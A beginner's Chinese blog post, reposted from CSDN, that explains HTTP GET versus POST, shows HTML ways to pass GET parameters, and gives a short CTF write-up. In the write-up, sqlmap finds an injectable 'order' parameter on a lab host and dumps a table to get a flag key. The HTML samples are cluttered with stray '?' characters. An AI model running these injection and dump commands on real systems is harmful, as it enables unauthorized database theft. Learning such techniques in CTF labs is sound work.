网络安全Web学习记录———CTF---Web---SQL注入(GET和POST传参)例题

2023-12-16 05:09:53
小白初见,若有问题,希望各位大哥多多指正~

我的第一道web类CTF题——一起来撸猫o(=?ェ?=)m-CSDN博客

最开始学习CTF里的web方向时,每次做了题遇到类似的老是忘记之前的解法,所以写点东西记录一下。听大哥的话,就从最开始的GET传参开始吧!!!(大部分都是只得其法,不得其理。希望以后学了更多后能补充上原理)

一、了解GET和POST出处

寻求度娘知,GET和POST 是 HTTP 协议中两种请求方式,而HTTP协议是一个简单的请求-响应协议(具体详见HTTP_百度百科)

GET和POST 是 HTTP 请求中常用的两种请求方法,它们的底层都是基于 TCP/IP 实现的。但是由于 HTTP 的规定以及浏览器/服务器的限制,导致它们在应用过程中可能会有所不同。

二、了解GET和POST区别

GET和POST是HTTP协议中最常用的两种请求方法,它们在许多方面存在差异。

  1. 使用目的:GET主要用于请求数据,而POST主要用于发送数据。
  2. 参数传递:GET请求的参数会显示在URL地址栏中,这使得参数容易被记录和查看,因此安全性较低。相比之下,POST请求将参数放在请求体中,不会在地址栏中显示,因此安全性更高。
  3. 缓存和历史记录:GET请求可以被浏览器缓存,也会被保存在浏览器的历史记录中。而POST请求则不会被缓存,也不会被保存在浏览器的历史记录中。
  4. 对参数的数据类型:GET只接受ASCII字符作为参数,而POST没有这个限制。
  5. 安全性:由于GET请求的参数直接暴露在URL上,因此它不适合传递敏感信息,例如密码或信用卡信息。相比之下,POST请求更为安全,因为它的参数不会在URL中显示。

总的来说,GET和POST请求在许多方面存在差异,需要根据具体的使用场景来选择合适的请求方法。

参考:

GET和POST的区别以及传参详细解说_post传参-CSDN博客文章浏览阅读1.7w次,点赞10次,收藏72次。文章目录前言一、get和post的区别1、w3school 标准答案2、GET、POST 请求报文上的区别二、传参1.get传参2.post传参传入参数json传入参数data传入参数params总结前言该文章为自己学习及经验总结,里面可能会有不准确的地方,后续会不断的修正文章内容主要针对软件测试人员需要掌握的范围一、get和post的区别1、w3school 标准答案2、GET、POST 请求报文上的区别GET 和 ._post传参https://blog.csdn.net/m0_47801456/article/details/123684379

三、GET的几种传参方式

?

?? <!--//参数传递的几种形式-->
< html xmlns = "http://www.w3.org/1999/xhtml" >

< head >

< meta http-equiv = "Content-Type" content = "text/html; charset=utf-8" />

?? < title ></ title >

?? < script type = "text/javascript" >

???? function Go() {

?????? window.location.href="localhost:21811/Handler1.ashx?id=1&name='abc'"

???? }

?? </ script >

</ head >

< body >

?
1、直接在URL后面加参数:
 <!--第一种:直接在URL后面加参数:-->

?? localhost:21811/Handler1.ashx?id=1&name="abc"

??

??
2、用超链接的方法传递参数:

当点击超链接的时候,首先会跳转到localhost:21811/Handler1.ashx页面,然后还会传递id 和name 两个参数过去

 <!--第二种:用超链接的方法传递参数:当点击超链接的时候,首先会跳转到localhost:21811/Handler1.ashx页面,然后还会传递id 和name 两个参数过去-->

?? < a href = "localhost:21811/Handler1.ashx?id=1&name='abc'" >超链接传递参数</ a ></ body >

??
? 3、通过js方法传递:

用户点击这个button按钮,触发onClick事件,执行Go()方法,跳转到localhost:21811/Handler1.ashx页面,同时传递了id,和name两个参数过去

? <!--第三种:通过js方法传递:用户点击这个button按钮,触发onClick事件,执行Go()方法,跳转到localhost:21811/Handler1.ashx页面,同时传递了id,和name两个参数过去-->

?? < input type = "button" onclick = "Go()" value = "通过js方法传递参数" />
?4、通过form表单传递:

?? < form action = "Handler1.ashx" method = "get" > 注意action里面的连接不能带参数的

?? <!--第四种:通过form表单传递-->

?? < form action = "Handler1.ashx" method = "get" > <!--注意action里面的连接不能带参数的--> >

???? < input type = "text" name = "id" value = "3" />

???? < input type = "text" name = "name" value = "abc" />

???? < input type = "submit" value = "通过传递参数" />

?? </ form >

</ body >

</ html >

CTF——Web例题:

一、题目描述

题目:小试牛刀

二、解题步骤

1、注入点的确定

Step1:利用http://172.16.15.193/stage/9/get_info.php?title=xiaoshiniudao&order=id

这个网址跑sqlmap,提示title不是注入点。

Step2:此题为get传参,参数可以删减猜测注入点为order

 sqlmap -u http://172.16.15.193/stage/9/get_info.php?order=id --dbs

2、爆字段

Step3:数据库为inject_xiaoshiniudao2,爆表,列过程已省略。

查字段:

sqlmap -u http://172.16.15.192/stage/5/get_info.php?order=id -D inject_xiaoshiniudao2 -T key_1 -C thekey --dump

得到key:BFDE779BF1883CA5

文章来源:https://blog.csdn.net/Zhiyilang/article/details/134968576
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。